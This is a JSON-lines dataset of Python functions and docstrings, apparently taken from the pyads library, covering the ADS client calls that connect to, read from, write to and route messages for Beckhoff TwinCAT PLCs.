{"signature": "def open_port():<EOL>", "body": "global port<EOL>port = port or adsPortOpenEx()<EOL>return port<EOL>", "docstring": "Connect to the TwinCAT message router.\n\n    :rtype: int\n    :return: port number", "id": "f13258:m1"}
{"signature": "def close_port():<EOL>", "body": "global port<EOL>if port is not None:<EOL><INDENT>adsPortCloseEx(port)<EOL>port = None<EOL><DEDENT>", "docstring": "Close the connection to the TwinCAT message router.", "id": "f13258:m2"}
{"signature": "def get_local_address():<EOL>", "body": "if port is not None:<EOL><INDENT>return adsGetLocalAddressEx(port)<EOL><DEDENT>return None<EOL>", "docstring": "Return the local AMS-address and the port number.\n\n    :rtype: AmsAddr", "id": "f13258:m3"}
{"signature": "def set_local_address(ams_netid):<EOL>", "body": "if isinstance(ams_netid, str):<EOL><INDENT>ams_netid_st = _parse_ams_netid(ams_netid)<EOL><DEDENT>else:<EOL><INDENT>ams_netid_st = ams_netid<EOL><DEDENT>assert isinstance(ams_netid_st, SAmsNetId)<EOL>if linux:<EOL><INDENT>return adsSetLocalAddress(ams_netid_st)<EOL><DEDENT>else:<EOL><INDENT>raise ADSError(<EOL>text=\"<STR_LIT>\"<EOL>)<EOL><DEDENT>", "docstring": "Set the local NetID (**Linux only**).\n\n    :param str: new AmsNetID\n    :rtype: None\n\n    **Usage:**\n\n        >>> import pyads\n        >>> pyads.open_port()\n        >>> pyads.set_local_address('0.0.0.0.1.1')", "id": "f13258:m4"}
{"signature": "def read_state(adr):<EOL>", "body": "if port is not None:<EOL><INDENT>return adsSyncReadStateReqEx(port, adr)<EOL><DEDENT>return None<EOL>", "docstring": "Read the current ADS-state and the machine-state.\n\n    Read the current ADS-state and the machine-state from the\n    ADS-server.\n\n    :param AmsAddr adr: local or remote AmsAddr\n    :rtype: (int, int)\n    :return: adsState, deviceState", "id": "f13258:m5"}
{"signature": "def write_control(adr, ads_state, device_state, data, plc_datatype):<EOL>", "body": "if port is not None:<EOL><INDENT>return adsSyncWriteControlReqEx(<EOL>port, adr, ads_state, device_state, data, plc_datatype<EOL>)<EOL><DEDENT>", "docstring": "Change the ADS state and the machine-state of the ADS-server.\n\n    :param AmsAddr adr: local or remote AmsAddr\n    :param int ads_state: new ADS-state, according to ADSTATE constants\n    :param int device_state: new machine-state\n    :param data: additional data\n    :param int plc_datatype: datatype, according to PLCTYPE constants\n\n    :note: Despite changing the ADS-state and the machine-state it is possible\n           to send additional data to the ADS-server. For current ADS-devices\n           additional data is not progressed.\n           Every ADS-device is able to communicate its current state to other\n           devices.\n           There is a difference between the device-state and the state of the\n           ADS-interface (AdsState). The possible states of an ADS-interface\n           are defined in the ADS-specification.", "id": "f13258:m6"}
{"signature": "def read_device_info(adr):<EOL>", "body": "if port is not None:<EOL><INDENT>return adsSyncReadDeviceInfoReqEx(port, adr)<EOL><DEDENT>return None<EOL>", "docstring": "Read the name and the version number of the ADS-server.\n\n    :param AmsAddr adr: local or remote AmsAddr\n    :rtype: string, AdsVersion\n    :return: device name, version", "id": "f13258:m7"}
{"signature": "def write(adr, index_group, index_offset, value, plc_datatype):<EOL>", "body": "if port is not None:<EOL><INDENT>return adsSyncWriteReqEx(<EOL>port, adr, index_group, index_offset, value, plc_datatype<EOL>)<EOL><DEDENT>", "docstring": "Send data synchronous to an ADS-device.\n\n    :param AmsAddr adr: local or remote AmsAddr\n    :param int index_group: PLC storage area, according to the INDEXGROUP\n        constants\n    :param int index_offset: PLC storage address\n    :param value: value to write to the storage address of the PLC\n    :param Type plc_datatype: type of the data given to the PLC,\n        according to PLCTYPE constants", "id": "f13258:m8"}
{"signature": "def read_write(<EOL>adr,<EOL>index_group,<EOL>index_offset,<EOL>plc_read_datatype,<EOL>value,<EOL>plc_write_datatype,<EOL>return_ctypes=False,<EOL>):<EOL>", "body": "if port is not None:<EOL><INDENT>return adsSyncReadWriteReqEx2(<EOL>port,<EOL>adr,<EOL>index_group,<EOL>index_offset,<EOL>plc_read_datatype,<EOL>value,<EOL>plc_write_datatype,<EOL>return_ctypes,<EOL>)<EOL><DEDENT>return None<EOL>", "docstring": "Read and write data synchronous from/to an ADS-device.\n\n    :param AmsAddr adr: local or remote AmsAddr\n    :param int index_group: PLC storage area, according to the INDEXGROUP\n        constants\n    :param int index_offset: PLC storage address\n    :param Type plc_read_datatype: type of the data given to the PLC to respond\n            to, according to PLCTYPE constants\n        :param value: value to write to the storage address of the PLC\n    :param Type plc_write_datatype: type of the data given to the PLC, according to\n        PLCTYPE constants\n    :param bool return_ctypes: return ctypes instead of python types if True\n        (default: False)\n    :rtype: PLCTYPE\n    :return: value: **value**", "id": "f13258:m9"}
{"signature": "def read(adr, index_group, index_offset, plc_datatype, return_ctypes=False):<EOL>", "body": "if port is not None:<EOL><INDENT>return adsSyncReadReqEx2(<EOL>port, adr, index_group, index_offset, plc_datatype, return_ctypes<EOL>)<EOL><DEDENT>return None<EOL>", "docstring": "Read data synchronous from an ADS-device.\n\n        :param AmsAddr adr: local or remote AmsAddr\n    :param int index_group: PLC storage area, according to the INDEXGROUP\n        constants\n    :param int index_offset: PLC storage address\n    :param int plc_datatype: type of the data given to the PLC, according to\n        PLCTYPE constants\n    :param bool return_ctypes: return ctypes instead of python types if True\n        (default: False)\n    :return: value: **value**", "id": "f13258:m10"}
{"signature": "def read_by_name(adr, data_name, plc_datatype, return_ctypes=False):<EOL>", "body": "if port is not None:<EOL><INDENT>return adsSyncReadByNameEx(port, adr, data_name, plc_datatype, return_ctypes)<EOL><DEDENT>return None<EOL>", "docstring": "Read data synchronous from an ADS-device from data name.\n\n    :param AmsAddr adr: local or remote AmsAddr\n    :param string data_name: data name\n    :param int plc_datatype: type of the data given to the PLC, according to\n        PLCTYPE constants\n    :param bool return_ctypes: return ctypes instead of python types if True\n        (default: False)\n    :return: value: **value**", "id": "f13258:m11"}
{"signature": "def write_by_name(adr, data_name, value, plc_datatype):<EOL>", "body": "if port is not None:<EOL><INDENT>return adsSyncWriteByNameEx(port, adr, data_name, value, plc_datatype)<EOL><DEDENT>", "docstring": "Send data synchronous to an ADS-device from data name.\n\n    :param AmsAddr adr: local or remote AmsAddr\n    :param string data_name: PLC storage address\n    :param value: value to write to the storage address of the PLC\n    :param int plc_datatype: type of the data given to the PLC,\n        according to PLCTYPE constants", "id": "f13258:m12"}
{"signature": "def add_route(adr, ip_address):<EOL>", "body": "return adsAddRoute(adr.netIdStruct(), ip_address)<EOL>", "docstring": "Establish a new route in the AMS Router (linux Only).\n\n    :param pyads.structs.AmsAddr adr: AMS Address of routing endpoint\n    :param str ip_address: ip address of the routing endpoint", "id": "f13258:m13"}
{"signature": "def delete_route(adr):<EOL>", "body": "return adsDelRoute(adr.netIdStruct())<EOL>", "docstring": "Remove existing route from the AMS Router (Linux Only).\n\n    :param pyads.structs.AmsAddr adr: AMS Address associated with the routing\n        entry which is to be removed from the router.", "id": "f13258:m14"}
{"signature": "def add_device_notification(adr, data_name, attr, callback, user_handle=None):<EOL>", "body": "if port is not None:<EOL><INDENT>return adsSyncAddDeviceNotificationReqEx(<EOL>port, adr, data_name, attr, callback, user_handle<EOL>)<EOL><DEDENT>return None<EOL>", "docstring": "Add a device notification.\n\n    :param pyads.structs.AmsAddr adr: AMS Address associated with the routing\n        entry which is to be removed from the router.\n    :param str data_name: PLC storage address\n    :param pyads.structs.NotificationAttrib attr: object that contains\n        all the attributes for the definition of a notification\n    :param callback: callback function that gets executed on in the event\n        of a notification\n\n    :rtype: (int, int)\n    :returns: notification handle, user handle\n\n    Save the notification handle and the user handle on creating a\n    notification if you want to be able to remove the notification\n    later in your code.", "id": "f13258:m15"}
{"signature": "def del_device_notification(adr, notification_handle, user_handle):<EOL>", "body": "if port is not None:<EOL><INDENT>return adsSyncDelDeviceNotificationReqEx(<EOL>port, adr, notification_handle, user_handle<EOL>)<EOL><DEDENT>", "docstring": "Remove a device notification.\n\n    :param pyads.structs.AmsAddr adr: AMS Address associated with the routing\n        entry which is to be removed from the router.\n    :param notification_handle: address of the variable that contains\n        the handle of the notification\n    :param user_handle: user handle", "id": "f13258:m16"}
{"signature": "def set_timeout(ms):<EOL>", "body": "if port is not None:<EOL><INDENT>return adsSyncSetTimeoutEx(port, ms)<EOL><DEDENT>", "docstring": "Set timeout.", "id": "f13258:m17"}
{"signature": "def __enter__(self):<EOL>", "body": "self.open()<EOL>return self<EOL>", "docstring": "Open on entering with-block.", "id": "f13258:c0:m1"}
{"signature": "def __exit__(self, _type, _val, _traceback):<EOL>", "body": "self.close()<EOL>", "docstring": "Close on leaving with-block.", "id": "f13258:c0:m2"}
{"signature": "def open(self):<EOL>", "body": "if self._open:<EOL><INDENT>return<EOL><DEDENT>self._port = adsPortOpenEx()<EOL>if linux:<EOL><INDENT>adsAddRoute(self._adr.netIdStruct(), self.ip_address)<EOL><DEDENT>self._open = True<EOL>", "docstring": "Connect to the TwinCAT message router.", "id": "f13258:c0:m3"}
{"signature": "def close(self):<EOL>", "body": "if not self._open:<EOL><INDENT>return<EOL><DEDENT>if linux:<EOL><INDENT>adsDelRoute(self._adr.netIdStruct())<EOL><DEDENT>if self._port is not None:<EOL><INDENT>adsPortCloseEx(self._port)<EOL>self._port = None<EOL><DEDENT>self._open = False<EOL>", "docstring": ":summary: Close the connection to the TwinCAT message router.", "id": "f13258:c0:m4"}
{"signature": "def get_local_address(self):<EOL>", "body": "if self._port is not None:<EOL><INDENT>return adsGetLocalAddressEx(self._port)<EOL><DEDENT>return None<EOL>", "docstring": "Return the local AMS-address and the port number.\n\n        :rtype: AmsAddr", "id": "f13258:c0:m5"}
{"signature": "def read_state(self):<EOL>", "body": "if self._port is not None:<EOL><INDENT>return adsSyncReadStateReqEx(self._port, self._adr)<EOL><DEDENT>return None<EOL>", "docstring": "Read the current ADS-state and the machine-state.\n\n        Read the current ADS-state and the machine-state from the ADS-server.\n\n        :rtype: (int, int)\n        :return: adsState, deviceState", "id": "f13258:c0:m6"}
{"signature": "def write_control(self, ads_state, device_state, data, plc_datatype):<EOL>", "body": "if self._port is not None:<EOL><INDENT>return adsSyncWriteControlReqEx(<EOL>self._port, self._adr, ads_state, device_state, data, plc_datatype<EOL>)<EOL><DEDENT>", "docstring": "Change the ADS state and the machine-state of the ADS-server.\n\n        :param int ads_state: new ADS-state, according to ADSTATE constants\n        :param int device_state: new machine-state\n        :param data: additional data\n        :param int plc_datatype: datatype, according to PLCTYPE constants\n\n        :note: Despite changing the ADS-state and the machine-state it is\n            possible to send additional data to the ADS-server. For current\n            ADS-devices additional data is not progressed.\n            Every ADS-device is able to communicate its current state to other\n            devices. There is a difference between the device-state and the\n            state of the ADS-interface (AdsState). The possible states of an\n            ADS-interface are defined in the ADS-specification.", "id": "f13258:c0:m7"}
{"signature": "def read_device_info(self):<EOL>", "body": "if self._port is not None:<EOL><INDENT>return adsSyncReadDeviceInfoReqEx(self._port, self._adr)<EOL><DEDENT>return None<EOL>", "docstring": "Read the name and the version number of the ADS-server.\n\n        :rtype: string, AdsVersion\n        :return: device name, version", "id": "f13258:c0:m8"}
{"signature": "def write(self, index_group, index_offset, value, plc_datatype):<EOL>", "body": "if self._port is not None:<EOL><INDENT>return adsSyncWriteReqEx(<EOL>self._port, self._adr, index_group, index_offset, value, plc_datatype<EOL>)<EOL><DEDENT>", "docstring": "Send data synchronous to an ADS-device.\n\n        :param int index_group: PLC storage area, according to the INDEXGROUP\n            constants\n        :param int index_offset: PLC storage address\n        :param value: value to write to the storage address of the PLC\n        :param int plc_datatype: type of the data given to the PLC,\n            according to PLCTYPE constants", "id": "f13258:c0:m9"}
{"signature": "def read_write(<EOL>self,<EOL>index_group,<EOL>index_offset,<EOL>plc_read_datatype,<EOL>value,<EOL>plc_write_datatype,<EOL>return_ctypes=False,<EOL>):<EOL>", "body": "if self._port is not None:<EOL><INDENT>return adsSyncReadWriteReqEx2(<EOL>self._port,<EOL>self._adr,<EOL>index_group,<EOL>index_offset,<EOL>plc_read_datatype,<EOL>value,<EOL>plc_write_datatype,<EOL>return_ctypes,<EOL>)<EOL><DEDENT>return None<EOL>", "docstring": "Read and write data synchronous from/to an ADS-device.\n\n        :param int index_group: PLC storage area, according to the INDEXGROUP\n            constants\n        :param int index_offset: PLC storage address\n        :param int plc_read_datatype: type of the data given to the PLC to\n            respond to, according to PLCTYPE constants\n        :param value: value to write to the storage address of the PLC\n        :param plc_write_datatype: type of the data given to the PLC,\n            according to PLCTYPE constants\n            :rtype: PLCTYPE\n    :param bool return_ctypes: return ctypes instead of python types if True\n        (default: False)\n        :return: value: **value**", "id": "f13258:c0:m10"}
{"signature": "def read(self, index_group, index_offset, plc_datatype, return_ctypes=False):<EOL>", "body": "if self._port is not None:<EOL><INDENT>return adsSyncReadReqEx2(<EOL>self._port, self._adr, index_group, index_offset, plc_datatype, return_ctypes<EOL>)<EOL><DEDENT>return None<EOL>", "docstring": "Read data synchronous from an ADS-device.\n\n        :param int index_group: PLC storage area, according to the INDEXGROUP\n            constants\n        :param int index_offset: PLC storage address\n        :param int plc_datatype: type of the data given to the PLC, according\n            to PLCTYPE constants\n            :return: value: **value**\n        :param bool return_ctypes: return ctypes instead of python types if True\n            (default: False)", "id": "f13258:c0:m11"}
{"signature": "def read_by_name(self, data_name, plc_datatype, return_ctypes=False):<EOL>", "body": "if self._port:<EOL><INDENT>return adsSyncReadByNameEx(self._port, self._adr, data_name, plc_datatype, return_ctypes)<EOL><DEDENT>return None<EOL>", "docstring": "Read data synchronous from an ADS-device from data name.\n\n        :param string data_name: data name\n        :param int plc_datatype: type of the data given to the PLC, according\n            to PLCTYPE constants\n            :return: value: **value**\n        :param bool return_ctypes: return ctypes instead of python types if True\n            (default: False)", "id": "f13258:c0:m12"}
{"signature": "def write_by_name(self, data_name, value, plc_datatype):<EOL>", "body": "if self._port:<EOL><INDENT>return adsSyncWriteByNameEx(<EOL>self._port, self._adr, data_name, value, plc_datatype<EOL>)<EOL><DEDENT>", "docstring": "Send data synchronous to an ADS-device from data name.\n\n        :param string data_name: PLC storage address\n        :param value: value to write to the storage address of the PLC\n        :param int plc_datatype: type of the data given to the PLC,\n            according to PLCTYPE constants", "id": "f13258:c0:m13"}
{"signature": "def add_device_notification(self, data_name, attr, callback, user_handle=None):<EOL>", "body": "if self._port is not None:<EOL><INDENT>notification_handle, user_handle = adsSyncAddDeviceNotificationReqEx(<EOL>self._port, self._adr, data_name, attr, callback, user_handle<EOL>)<EOL>return notification_handle, user_handle<EOL><DEDENT>return None<EOL>", "docstring": "Add a device notification.\n\n        :param str data_name: PLC storage address\n        :param pyads.structs.NotificationAttrib attr: object that contains\n            all the attributes for the definition of a notification\n        :param callback: callback function that gets executed on in the event\n            of a notification\n\n        :rtype: (int, int)\n        :returns: notification handle, user handle\n\n        Save the notification handle and the user handle on creating a\n        notification if you want to be able to remove the notification\n        later in your code.\n\n        **Usage**:\n\n            >>> import pyads\n            >>> from ctypes import size_of\n            >>>\n            >>> # Connect to the local TwinCAT PLC\n            >>> plc = pyads.Connection('127.0.0.1.1.1', 851)\n            >>>\n            >>> # Create callback function that prints the value\n            >>> def mycallback(adr, notification, user):\n            >>>     contents = notification.contents\n            >>>     value = next(\n            >>>         map(int,\n            >>>             bytearray(contents.data)[0:contents.cbSampleSize])\n            >>>     )\n            >>>     print(value)\n            >>>\n            >>> with plc:\n            >>>     # Add notification with default settings\n            >>>     attr = pyads.NotificationAttrib(size_of(pyads.PLCTYPE_INT))\n            >>>\n            >>>     hnotification, huser = plc.add_device_notification(\n            >>>         adr, attr, mycallback)\n            >>>\n            >>>     # Remove notification\n            >>>     plc.del_device_notification(hnotification, huser)", "id": "f13258:c0:m14"}
{"signature": "def del_device_notification(self, notification_handle, user_handle):<EOL>", "body": "if self._port is not None:<EOL><INDENT>adsSyncDelDeviceNotificationReqEx(<EOL>self._port, self._adr, notification_handle, user_handle<EOL>)<EOL><DEDENT>", "docstring": "Remove a device notification.\n\n        :param notification_handle: address of the variable that contains\n            the handle of the notification\n        :param user_handle: user handle", "id": "f13258:c0:m15"}
{"signature": "@property<EOL><INDENT>def is_open(self):<EOL><DEDENT>", "body": "return self._open<EOL>", "docstring": "Show the current connection state.\n\n        :return: True if connection is open", "id": "f13258:c0:m16"}
{"signature": "def set_timeout(self, ms):<EOL>", "body": "if self._port is not None:<EOL><INDENT>adsSyncSetTimeoutEx(self._port, ms)<EOL><DEDENT>", "docstring": "Set Timeout.", "id": "f13258:c0:m17"}
{"signature": "def notification(self, plc_datatype=None):<EOL>", "body": "def notification_decorator(func):<EOL><INDENT>def func_wrapper(notification, data_name):<EOL><INDENT>contents = notification.contents<EOL>data = contents.data<EOL>data_size = contents.cbSampleSize<EOL>datatype_map = {<EOL>PLCTYPE_BOOL: \"<STR_LIT>\",<EOL>PLCTYPE_BYTE: \"<STR_LIT>\",<EOL>PLCTYPE_DINT: \"<STR_LIT>\",<EOL>PLCTYPE_DWORD: \"<STR_LIT>\",<EOL>PLCTYPE_INT: \"<STR_LIT>\",<EOL>PLCTYPE_LREAL: \"<STR_LIT>\",<EOL>PLCTYPE_REAL: \"<STR_LIT>\",<EOL>PLCTYPE_SINT: \"<STR_LIT>\",<EOL>PLCTYPE_UDINT: \"<STR_LIT>\",<EOL>PLCTYPE_UINT: \"<STR_LIT>\",<EOL>PLCTYPE_USINT: \"<STR_LIT>\",<EOL>PLCTYPE_WORD: \"<STR_LIT>\",<EOL>}  <EOL>if plc_datatype == PLCTYPE_STRING:<EOL><INDENT>dest = (c_ubyte * data_size)()<EOL>memmove(addressof(dest), addressof(data), data_size)<EOL>value = bytearray(dest).split(b\"<STR_LIT>\", <NUM_LIT:1>)[<NUM_LIT:0>].decode(\"<STR_LIT:utf-8>\")<EOL><DEDENT>elif issubclass(plc_datatype, Structure):<EOL><INDENT>value = plc_datatype()<EOL>fit_size = min(data_size, sizeof(value))<EOL>memmove(addressof(value), addressof(data), fit_size)<EOL><DEDENT>elif plc_datatype not in datatype_map:<EOL><INDENT>value = data<EOL><DEDENT>else:<EOL><INDENT>value = struct.unpack(<EOL>datatype_map[plc_datatype], bytearray(data)[:data_size]<EOL>)[<NUM_LIT:0>]<EOL><DEDENT>dt = filetime_to_dt(contents.nTimeStamp)<EOL>return func(contents.hNotification, data_name, dt, value)<EOL><DEDENT>return func_wrapper<EOL><DEDENT>return notification_decorator<EOL>", "docstring": "Decorate a callback function.\n\n        **Decorator**.\n\n        A decorator that can be used for callback functions in order to\n        convert the data of the NotificationHeader into the fitting\n        Python type.\n\n        :param plc_datatype: The PLC datatype that needs to be converted. This can\n        be any basic PLC datatype or a `ctypes.Structure`.\n\n        The callback functions need to be of the following type:\n\n        >>> def callback(handle, name, timestamp, value)\n\n        * `handle`: the notification handle\n        * `name`: the variable name\n        * `timestamp`: the timestamp as datetime value\n        * `value`: the converted value of the variable\n\n        **Usage**:\n\n            >>> import pyads\n            >>>\n            >>> plc = pyads.Connection('172.18.3.25.1.1', 851)\n            >>>\n            >>>\n            >>> @plc.notification(pyads.PLCTYPE_STRING)\n            >>> def callback(handle, name, timestamp, value):\n            >>>     print(handle, name, timestamp, value)\n            >>>\n            >>>\n            >>> with plc:\n            >>>    attr = pyads.NotificationAttrib(20,\n            >>>                                    pyads.ADSTRANS_SERVERCYCLE)\n            >>>    handles = plc.add_device_notification('GVL.test', attr,\n            >>>                                          callback)\n            >>>    while True:\n            >>>        pass", "id": "f13258:c0:m18"}
{"signature": "def __init__(self, stAdsVersion):<EOL>", "body": "self.version = stAdsVersion.version<EOL>self.revision = stAdsVersion.revision<EOL>self.build = stAdsVersion.build<EOL>", "docstring": "Create new AdsVersion object.\n\n        :param pyads.constants.SAdsVersion stAdsVersion: ctypes structure\n            with the version info", "id": "f13260:c1:m0"}
{"signature": "def __init__(self, netid=None, port=None):<EOL>", "body": "self._ams_addr = SAmsAddr()<EOL>if netid is not None:<EOL><INDENT>self.netid = netid<EOL><DEDENT>if port is not None:<EOL><INDENT>self.port = port<EOL><DEDENT>", "docstring": "Create a new AmsAddr object by a given netid and port.\n\n        :param netid: NetId of an ADS device\n        :param port: port of an ADS device", "id": "f13260:c4:m0"}
{"signature": "def toString(self):<EOL>", "body": "return self.netid + \"<STR_LIT>\" + str(self._ams_addr.port)<EOL>", "docstring": "Textual representation of the AMS address.\n\n        :rtype: string\n        :return:  textual representation of the AMS adress", "id": "f13260:c4:m1"}
{"signature": "@property<EOL><INDENT>def netid(self):<EOL><DEDENT>", "body": "return '<STR_LIT:.>'.join(map(str, self._ams_addr.netId.b))<EOL>", "docstring": "Netid of the AmsAddress.\n\n        The Netid is always returned as a String. If the NetId is set\n        it can be passed as a String or as a SAmsNetId struct.", "id": "f13260:c4:m2"}
{"signature": "@property<EOL><INDENT>def port(self):<EOL><DEDENT>", "body": "return self._ams_addr.port<EOL>", "docstring": "Port of the AmsAddress object.", "id": "f13260:c4:m4"}
{"signature": "def amsAddrStruct(self):<EOL>", "body": "return self._ams_addr<EOL>", "docstring": "Return the c-types structure SAmsAddr.", "id": "f13260:c4:m6"}
{"signature": "def netIdStruct(self):<EOL>", "body": "return self._ams_addr.netId<EOL>", "docstring": "Return the c-types structure SAmsNetId.", "id": "f13260:c4:m7"}
{"signature": "def setAdr(self, adrString):<EOL>", "body": "self.netid = adrString<EOL>", "docstring": "Set the AMS-adress according to the given IP-address.\n\n        :type adrString: string\n        :param adrString: ip-address of an ADS device", "id": "f13260:c4:m8"}
{"signature": "def __repr__(self):<EOL>", "body": "return '<STR_LIT>'.format(self.netid, self.port)<EOL>", "docstring": "Return object name.", "id": "f13260:c4:m9"}
{"signature": "def __init__(self, length, trans_mode=ADSTRANS_SERVERONCHA,<EOL>max_delay=<NUM_LIT>, cycle_time=<NUM_LIT>):<EOL>", "body": "self._attrib = SAdsNotificationAttrib()<EOL>if length:<EOL><INDENT>self._attrib.cbLength = length<EOL><DEDENT>if trans_mode:<EOL><INDENT>self._attrib.nTransMode = trans_mode<EOL><DEDENT>if max_delay:<EOL><INDENT>self._attrib.nMaxDelay = int(max_delay * <NUM_LIT>)<EOL><DEDENT>if cycle_time:<EOL><INDENT>self._attrib.nCycleTime = int(cycle_time * <NUM_LIT>)<EOL><DEDENT>", "docstring": "Create a new NotificationAttrib object.\n\n        :param int length: length of the data\n        :param int trans_mode: transmission mode\n        :param float max_delay: maximum delay in ms\n        :param float cycle_time: cycle time in ms", "id": "f13260:c5:m0"}
{"signature": "def notificationAttribStruct(self):<EOL>", "body": "return self._attrib<EOL>", "docstring": "Return the raw struct.", "id": "f13260:c5:m1"}
{"signature": "@property<EOL><INDENT>def length(self):<EOL><DEDENT>", "body": "return self._attrib.cbLength<EOL>", "docstring": "Notification data length.", "id": "f13260:c5:m2"}
{"signature": "@property<EOL><INDENT>def trans_mode(self):<EOL><DEDENT>", "body": "return self._attrib.nTransMode<EOL>", "docstring": "Mode of transmission.\n\n        This can be one of the following:\n\n        * ADSTRANS_NOTRANS\n        * ADSTRANS_CLIENTCYCLE\n        * ADSTRANS_CLIENT1REQ\n        * ADSTRANS_SERVERCYCLE\n        * ADSTRANS_SERVERONCHA", "id": "f13260:c5:m4"}
{"signature": "@property<EOL><INDENT>def max_delay(self):<EOL><DEDENT>", "body": "return self._attrib.nMaxDelay<EOL>", "docstring": "Maximum allowed delay between notifications in ms.", "id": "f13260:c5:m6"}
{"signature": "@property<EOL><INDENT>def cycle_time(self):<EOL><DEDENT>", "body": "return self._attrib.nCycleTime<EOL>", "docstring": "Notification cycle time in ms for cycle transmission mode.", "id": "f13260:c5:m8"}
{"signature": "def __repr__(self):<EOL>", "body": "return ('<STR_LIT>'<EOL>.format(self.length, self.trans_mode, self.max_delay,<EOL>self.cycle_time))<EOL>", "docstring": "Return object name.", "id": "f13260:c5:m10"}
{"signature": "def router_function(fn):<EOL>", "body": "@wraps(fn)<EOL>def wrapper(*args, **kwargs):<EOL><INDENT>if platform_is_windows():  <EOL><INDENT>raise RuntimeError(<EOL>\"<STR_LIT>\"<EOL>\"<STR_LIT>\"<EOL>)<EOL><DEDENT>return fn(*args, **kwargs)<EOL><DEDENT>return wrapper<EOL>", "docstring": "Raise a runtime error if on Win32 systems.\n\n    Decorator.\n\n    Decorator for functions that interact with the router for the Linux\n    implementation of the ADS library.\n\n    Unlike the Windows implementation which uses a separate router daemon,\n    the Linux library manages AMS routing in-process. As such, routing must be\n    configured programatically via. the provided API. These endpoints are\n    invalid on Win32 systems, so an exception will be raised.", "id": "f13261:m0"}
{"signature": "@router_function<EOL>def adsAddRoute(net_id, ip_address):<EOL>", "body": "add_route = _adsDLL.AdsAddRoute<EOL>add_route.restype = ctypes.c_long<EOL>ip_address_p = ctypes.c_char_p(ip_address.encode(\"<STR_LIT:utf-8>\"))<EOL>error_code = add_route(net_id, ip_address_p)<EOL>if error_code:<EOL><INDENT>raise ADSError(error_code)<EOL><DEDENT>", "docstring": "Establish a new route in the AMS Router.\n\n    :param pyads.structs.SAmsNetId net_id: net id of routing endpoint\n    :param str ip_address: ip address of the routing endpoint", "id": "f13261:m1"}
{"signature": "@router_function<EOL>def adsDelRoute(net_id):<EOL>", "body": "delete_route = _adsDLL.AdsDelRoute<EOL>delete_route(net_id)<EOL>", "docstring": "Remove existing route from the AMS Router.\n\n    :param pyads.structs.SAmsNetId net_id: net id associated with the routing\n        entry which is to be removed from the router.", "id": "f13261:m2"}
{"signature": "def adsPortOpenEx():<EOL>", "body": "port_open_ex = _adsDLL.AdsPortOpenEx<EOL>port_open_ex.restype = ctypes.c_long<EOL>port = port_open_ex()<EOL>if port == <NUM_LIT:0>:<EOL><INDENT>raise RuntimeError(\"<STR_LIT>\")<EOL><DEDENT>return port<EOL>", "docstring": "Connect to the TwinCAT message router.\n\n    :rtype: int\n    :return: port number", "id": "f13261:m3"}
{"signature": "def adsPortCloseEx(port):<EOL>", "body": "port_close_ex = _adsDLL.AdsPortCloseEx<EOL>port_close_ex.restype = ctypes.c_long<EOL>error_code = port_close_ex(port)<EOL>if error_code:<EOL><INDENT>raise ADSError(error_code)<EOL><DEDENT>", "docstring": "Close the connection to the TwinCAT message router.", "id": "f13261:m4"}
{"signature": "def adsGetLocalAddressEx(port):<EOL>", "body": "get_local_address_ex = _adsDLL.AdsGetLocalAddressEx<EOL>ams_address_struct = SAmsAddr()<EOL>error_code = get_local_address_ex(port, ctypes.pointer(ams_address_struct))<EOL>if error_code:<EOL><INDENT>raise ADSError(error_code)<EOL><DEDENT>local_ams_address = AmsAddr()<EOL>local_ams_address._ams_addr = ams_address_struct<EOL>return local_ams_address<EOL>", "docstring": "Return the local AMS-address and the port number.\n\n    :rtype: pyads.structs.AmsAddr\n    :return: AMS-address", "id": "f13261:m5"}
{"signature": "def adsSetLocalAddress(ams_netid):<EOL>", "body": "set_local_address = _adsDLL.AdsSetLocalAddress<EOL>set_local_address(ams_netid)<EOL>", "docstring": "Change the local NetId.\n\n    :param pyads.structs.SAmsNetId ams_netid: new AmsNetID\n    :rtype: None", "id": "f13261:m6"}
{"signature": "def adsSyncReadStateReqEx(port, address):<EOL>", "body": "sync_read_state_request = _adsDLL.AdsSyncReadStateReqEx<EOL>ams_address_pointer = ctypes.pointer(address.amsAddrStruct())<EOL>ads_state = ctypes.c_int()<EOL>ads_state_pointer = ctypes.pointer(ads_state)<EOL>device_state = ctypes.c_int()<EOL>device_state_pointer = ctypes.pointer(device_state)<EOL>error_code = sync_read_state_request(<EOL>port, ams_address_pointer, ads_state_pointer, device_state_pointer<EOL>)<EOL>if error_code:<EOL><INDENT>raise ADSError(error_code)<EOL><DEDENT>return (ads_state.value, device_state.value)<EOL>", "docstring": "Read the current ADS-state and the machine-state.\n\n    Read the current ADS-state and the machine-state from the\n    ADS-server.\n\n    :param pyads.structs.AmsAddr address: local or remote AmsAddr\n    :rtype: (int, int)\n    :return: ads_state, device_state", "id": "f13261:m7"}
{"signature": "def adsSyncReadDeviceInfoReqEx(port, address):<EOL>", "body": "sync_read_device_info_request = _adsDLL.AdsSyncReadDeviceInfoReqEx<EOL>ams_address_pointer = ctypes.pointer(address.amsAddrStruct())<EOL>device_name_buffer = ctypes.create_string_buffer(<NUM_LIT:20>)<EOL>device_name_pointer = ctypes.pointer(device_name_buffer)<EOL>ads_version = SAdsVersion()<EOL>ads_version_pointer = ctypes.pointer(ads_version)<EOL>error_code = sync_read_device_info_request(<EOL>port, ams_address_pointer, device_name_pointer, ads_version_pointer<EOL>)<EOL>if error_code:<EOL><INDENT>raise ADSError(error_code)<EOL><DEDENT>return (device_name_buffer.value.decode(), AdsVersion(ads_version))<EOL>", "docstring": "Read the name and the version number of the ADS-server.\n\n    :param int port: local AMS port as returned by adsPortOpenEx()\n    :param pyads.structs.AmsAddr address: local or remote AmsAddr\n    :rtype: string, AdsVersion\n    :return: device name, version", "id": "f13261:m8"}
